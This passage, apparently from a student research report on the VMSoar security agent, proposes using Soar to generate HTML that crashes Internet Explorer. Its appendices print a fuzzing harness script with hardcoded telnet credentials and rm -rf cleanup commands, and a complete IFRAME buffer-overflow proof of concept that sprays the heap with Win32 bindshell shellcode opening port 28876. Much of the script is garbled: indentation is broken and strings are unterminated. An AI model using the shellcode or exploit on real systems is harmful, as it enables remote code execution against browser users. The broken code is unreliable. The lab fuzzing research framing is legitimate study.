To better the odds of hitting the exact address, hackers often uses NOP instructions in a manner called NOP-sliding. This works by filling half of the overflow buffer with NOP instructions, putting the shell code in the center and then the return address. If the return address points anywhere inside of the NOP instructions it will ‘slide’ down until it reaches the shell code. A NOP instruction is a Null instruction and effectively does nothing. (http://www.cs.ucsb.edu/~jzhou/security/overflow.html)
8 Future Work

Figure 9: Existing VMSoar with added HTML subgoaling.

From VMSoar paper:
VMSoar learns at this point by constructing a chunk (a new rule) that summarizes the search that it performed and the result. Briefly, Soar forms chunks by tracing back through all the facts it examined in the process of its search and finding those that led to the result. Soar puts all these facts on the left-hand side of a new rule, and puts the result of the search on the right-hand side of the new rule. This new rule will match any future situation that contains these same facts, which in this case will be any situation with the same pattern of requests and acknowledgements from one machine. Soar will not have to search, but will immediately fire this rule and assert that the remote machine is executing a port scan. Over time, VMSoar will learn to recognize a wide range of user behaviors.

This figure and excerpt, describing the existing VMSoar framework, shows how it can protect a computer network and learn to detect known attacks. The blue box is added to the model to describe HMTL subgoaling.

8.1 Looking for IE crashes

So far we have only considered evaluation of html files passed to Soar.
Can we use Soars chunks and internal knowledge to apply it in attacking other machines? We propose a goal state for Soar: crash Internet Explorer. An Internet Explorer crash is in some cases critical in the sense that they may for instance turn out to be Buffer Overflow vulnerabilities. This is how the IFRAME exploit was discovered. After finding the IE crash with HTMLer, further investigation disclosed that it led to a buffer overflow in Internet Explorer.

We let Soar use its chunks and patterns of crashes to find new crashes. Soar will attempt to create an HTML file that satisfies its goal state: crashing Internet Explorer. By taking using the chunks and patterns it can try to rebuild html code using variations of known exploits to attempt to find new ones. The more malicious HTML Soar encounters the more body of knowledge Soar has to extract patterns from, this way Soar learns and becomes smarter as it encounters different occurrences of bad HTML.

Broken HTML generators such as HTMLer generate HTML in total random manner. The generated files are created using all possible components of the HTML language in a random order, tags, properties and values are mixed freely with no regard to which they belong together or not. These tools generate a myriad of files very quick; it’s the checking afterwards that is time consuming. Also when a crash is found, the file must be studied to locate the source of a crash. If Soar could apply some level of knowledge instead of using random generation, this approach may be successful.
Appendix A – Scripts and Code

A.1 genHtml.py
This is the python script used to create instances of the IFRAME exploit. It runs a loop, in which the user can specify the different parameters to be tested. There is also a mode for running a complete random generation of the tags, similar to the functionality in HTMLer. This is currently commented out.

#!/usr/bin/python

import time
import os
import telnetlib
import sys

successCount = 0
failCount = 0
bCount = 500
cCount = 2089-700
current = repr(time.time())
filename = current + ".html"

tn = 0

def sshExec(host, command):
    os.system('ssh ' + host + ' ' + command)

def telnetExec(tn, host, command):
    user = "kjetil"
    passwd = "2+2is3"
    newln = "\r\n"
    sshExec(host, command)
tn.set_debuglevel(1)
tn.read_until("login: ")
tn.write(user + newln)
tn.read_until("password: ")
tn.write(passwd + newln)
tn.read_until(user + ">")
tn.write(command + newln)
tn.mt_interact()

def writeBeginTag(tagName):
    fh.write("\t\t<" + tagName)

def writeParam(paramName, char, size, dots):
    fh.write(" " + paramName + '="")
    if ( paramName.lower() == 'src'):
        fh.write('file://')
    fh.write(char*(size-1-2))
    if(dots == 1):
        fh.write('..')
    fh.write('"')
    fh.write('"')

def writeEndTag(tagName):
    fh.write('></' + tagName + '>

def writeHead():
    fh.write('<HTML>
    fh.write('
    fh.write('<SCRIPT language="javascript">

def writeEnd(tag):
    fh.write('</HTML>
    fh.write('</SCRIPT>
</SCRIPT>

40
def connectTransfer():
    print '**** Starting Windows XP ****'
    os.system('/home/kjetil/eclipse/workspace/VMSoar/netUtils/printId.sh')
    time.sleep(30)
    print '***** Copying file to server *****'
    os.system('scp ./html/' + filename + ' root@linux:/var/www/testing/' + filename)
    print '***** Requesting file from server *****'
    
    user = "kjetil"
    passwd = "2+2is3"
    newln = "\r\n"
    success = False
    
    while (success is False):
        try:
            success = True
            global tn
            tn = telnetlib.Telnet('xp')
            tn.set_debuglevel(0)
            tn.read_until("login: ")
            tn.write(user + newln)
            tn.read_until("password: ")
            tn.write(passwd + newln)
            tn.read_until(user + ">")
            tn.write("C:\Program Files\Internet Explorer\iexplore.exe"
http://linux/testing/" + filename + newln)
        except: # catch all exceptions
success = False
print '*** retrying ***'

print '***** Wating for results ****'
counter=0
result=-1
while(result != 0):
    print '		 3 more seconds, result is', result, '(', counter*3,') ****'
    tn.read_until("nothing", 3)
    result = os.system('nc -zv xp 28876')
    counter=counter+1
    if (counter >= 50):
        break

os.system('killall ssh')

if(result == 0):
    print '**** Test took', counter*3, 'seconds ****
    print '***** Moving successful file ****'
    os.system('mv html/' + filename + ' good_html/

    tn.close()
    print '**** Removing file from server ****'
    #os.system('ssh root@linux \'rm -rf /var/www/testing/*\")
    sshExec('root@linux', '\rm -rf /var/www/testing/*")
    global successCount
    successCount = successCount +1
    print '**** Rebooting victim machine ****'

else:
print '**** Test Failed after', counter*3, 'seconds ****'
print '**** Removing unsuccessful local file ****'
os.system('rm -f html/' + filename)
print '**** Removing file from server ****'
sshExec('root@linux', '\"rm -rf /var/www/testing/*\"
#os.system('vmware -x /home/kjetil/vms/WinXP/WinXP.vmx')
tn.close()
global failCount
failCount = failCount +1

os.system('ps aux | grep \"vmware -x.*WinXP\" | grep -v \"grep\" | awk \'{print $2}\' | xargs kill -9')

#tags = ['IMG', ['SRC', 'NAME'], 'IFRAME', ['SRC', 'NAME'], 'SCRIPT', ['#','SRC', 'TYPE']]
#pad = ['B', 'C', 'D', 'E', 'F']
##lengths = [512, 512, 512, 512, 512, 512]
#
#for t in (0, 2, 4):
#  tag = tags[t]
#  print "**** Testing " + tag + "****"
#  noParams = len(tags[t+1])
#  current = repr(time.time())
#  filename = current + ".html"
#  fh = open("html/" + filename, 'w')
#  writeHead()
#  writeBeginTag(tag)
#  i=0
#
for param in tags[t+1]:
    dotTag = 0
    pCount = 579
    if(param == tags[t+1][noParams-1]):
        dotTag = 1
        pCount = 2089
    writeParam(param, pad[i], pCount, dotTag)
    i=i+1
writeEndTag(tag)
fh.close()
connectTransfer()

#current = ""
# tested range:
#  1389-2789
# original values: 579, 2089
#cCount = 2000
#bCount = 579

bCount = 579
cCount = 2089
while(bCount < 2500):
    print '**** Starting <IFRAME> Test run with values: bCount = ', bCount, ' and
cCount = ', cCount, ' ****'
current = repr(time.time())
filename = current + ".html"
fh = open("html/" + filename, 'w')
writeHead()
writeBeginTag('IFRAME')
writeParam('SRC', 'B', bCount, 0)
writeParam('NAME', 'C', cCount, 1)
writeEndTag('IFRAME')
writeEnd(cCount)
fh.close()
connectTransfer()
bCount = bCount + 10;
#cCount = cCount + 1;
print '**** Status --> Total runs: ', successCount+failCount, ' Successful: ',
successCount, ' ***'
print '**** Test Phase completed ****'
print '**** Number of successful tests: ', successCount, ' ****'
print '**** Number of unsuccessful tests: ', failCount, ' ****'

A.2 startTcpdump.sh
This shell script starts up tcpdump or ethereal.

#!/bin/sh

# Use REdHat service functions to start and stop tcpdump to monitor
# tcp traffic. 1st argument is {star|stop} second is logfile
# Make sure tcpdump is suid root if running as a user. Alternatively,
# use sudo to allow normal users to run tcpdump with root privs.
LOGFILE=

if test -z "$1"
then
   LOGFILE="tcpDump.log"
else
   LOGFILE="$1"
fi

/usr/sbin/tethereal -i vmnet1 -f "tcp port 80" -R http -w file.dat

exit 0

This script starts Tethereal auditing on the vmnet1, which is our virtual network.

A.3 startVirtualXP.sh

This shell script starts snapshot of windows xp and returns the process id of the vmware process. This id is later used to kill the process from the gentHtml.py script.

#!/bin/sh

vmware -x /home/kjetil/vms/WinXP/WinXp.vmx &

exit $$
Appendix B – Misc. Files

B.1 iframe.html
This is an example of a HTML file containing the IFRAME exploit.

A local overflow exists in Internet Explorer. The Shell Doc Object and Control Library, or SHDOCVW.DLL, fails to validate the NAME property within the FRAME, IFRAME and EMBED tags, resulting in buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

A common Windows DLL file that is responsible for rendering the IFRAME, FRAME and EMBED tags, named SHDOCVW.DLL, is vulnerable to an attack. This attack takes place when the NAME and SRC attributes inside these HTML tags are set to very long string values. An attacker can exploit this fault by constructing a malformed HTML file used to cause an unauthorized remote execution of code by the mere viewing of a web page or an HTML email message.

After mishandling overly long SRC and NAME attributes, Internet Explorer dereferences a memory address that may fall within one of the prepared heap blocks, running through the NOP slide and executing the attacker’s shell code.

This is a version of the known BoF PoC exploit which exploits vulnerability in Internet Explorers Iframe Buffer.

<HTML><!--

------------------------

--------
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

A copy of the GNU General Public License can be found at:

http://www.gnu.org/licenses/gpl.html

or you can write to:

Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.

-->
// Win32 MSIE exploit helper script, creates a lot of nopslides to land in and/or use as return address. Thanks to blazde for feedback and ideas.

// Win32 bindshell (port 28876, '0' free, looping). Thanks to HDM and others for inspiration and borrowed code.

shellcode =
unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5ea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%u eb01%u048b%u018b%u5fe8%uff5e%ufcfe0%u0c31%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%u0c31%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273% u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uec89%uec481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050 %u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102 %ucc70%ucce%u8950%u50e0%u0106%u5650%u81bb%u2cb4%ue8be%uff42%uffff% uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u0106%u5054%ubb56%u f347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%ud b31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753 %ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d% ucf8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89 eb");

// Nopslide will contain these bytes:
bigblock = unescape("%u0D0D%u0D0D");

// Heap blocks in IE have 20 dwords as header
headersize = 20;

// This is all very 1337 code to create a nopslide that will fit exactly
// between the the header and the shellcode in the heap blocks we want.
// The heap blocks are 0x40000 words big, I can't be arsed to write good
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
// And now we can create the heap blocks, we'll create 700 of them to spray
// enough memory to be sure enough that we've got one at 0x0D0D0D0D
memory = new Array();
for (i=0;i<700;i++) memory[i] = block + shellcode;

The exploit sets eax to 0x0D0D0D0D after which this code gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
[0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D.
7178EC04 68 847B7071 PUSH 71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR [ECX]
Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D.
We land inside one of the nopslides and slide on down to the shellcode.

We land inside one of the nopslides and slide on down to the shellcode.
Appendix C – VMSoar Framework Components and Interfaces

C.1 VMWare WorkStation Network
VMWare Workstation is a software product offering by VMware
http://www.vmware.com. This product allows the user to run several operating
systems on different virtual machines all running simultaneously on a single physical
computer. The VMware virtualization layer maps the physical hardware resources to
the virtual machine’s resources, so each virtual machine has its own CPU, memory,
disks, I/O devices etc.
C.2 Virtual Machine Creation

When the VMware Workstation product creates a virtual machine the following things happen:

- A .vmx file is created. This file is the configuration file for the machine. The Workstation uses this file to access the disk image files and setup the virtual hardware. When a VM is first created, the .vmx file contains the location of the virtual disk, memory size, and some basic hardware setup information like CDROM, floppy and network connections.

- VMware configuration file of freshly created VM:

```plaintext
config.version = "7"
virtualHW.version = "3"
memsize = "160"
scsi0:0.present = "TRUE"
scsi0:0.fileName = "Linux.vmdk"
scsi0.present = "TRUE"
ide1:0.present = "TRUE"
ide1:0.fileName = "auto detect"
ide1:0.deviceType = "cdrom-raw"
floppy0.fileName = "A:"
Ethernet0.present = "TRUE"
sound.present = "TRUE"
displayName = "linux"
guestOS = "linux"
```

As more ports, network and other hardware, is added or configured the file will grow.
A .vmdk file is created. The .VMDK file, or image file, is the actual virtual drive containing the operating system and/or data and applications. This file will grow considerably in size once the OS is installed and the user applications are installed.

### C.3 Taking a Snap Shot of the Virtual Machine

- Workstation 4.0 allows the user to take a Snapshot of a machine at any point in time. A snapshot captures the contents of a virtual machine's memory along with its settings and the state of all the disks associated with the virtual machine.

- Once a snapshot of a machine is taken VMware creates a series of .REDO files. This information is then also written to the .vmx configuration file described above.

- The following is what the .vmx file looks like after a snapshot has been taken.

```xml
config.version = "7"
virtualHW.version = "3"
memsize = "80"
scsi0:0.present = "TRUE"
scsi0:0.fileName = "Windows NT.vmdk"
scsi0.present = "TRUE"
ide1:0.present = "TRUE"
ide1:0.fileName = "auto detect"
sound.present = "TRUE"
```

```xml
floppy0.fileName = "C:\downloads\VMware-BusLogic-SCSIDriver-1.2.0.0.flp"
Ethernet0.present = "TRUE"
```
C.4 Creating a Sub-State of a Virtual Machine

• Since each OS installed creates a large virtual disk base image – the .vmdk file. Sharing of a virtual disk base image by multiple virtual machines is desirable.

• A sub-state can be created by following the steps outlined below:

• Take a snapshot of the original VM

• Then within the directory of the original VM make a directory for the new "Cloned" VM.

• Copy the Redo files from the original to the new directory.

• Make a copy of the VMX file and change the location of the of the scsi0:0.redo parameter to reference the new directory location.

• Then just start vmware with the new vmx file.

• The above can be done for an original VM installation or any subsequent snapshot level. This in essence allows the creation of a “snapshot of a snapshot”, allowing multiple levels of snapshots on the same machine all using
Bibliography

http://www.securiteam.com/exploits


http://csis.pace.edu/~benjamin/courses/cs631v/webfilesVMSoar.pdf


VMware Homepage. 1. February 2005.  
http://www.vmware.com

http://ai.eecs.umich.edu/soar/
http://www.edup.tudelft.nl/~bjwever/menu.html.php

http://ai.eecs.umich.edu/soar/tutorial/Soar_Part2.pdf

http://csis.pace.edu/~benjamin/courses/cs630/intro-soar.pdf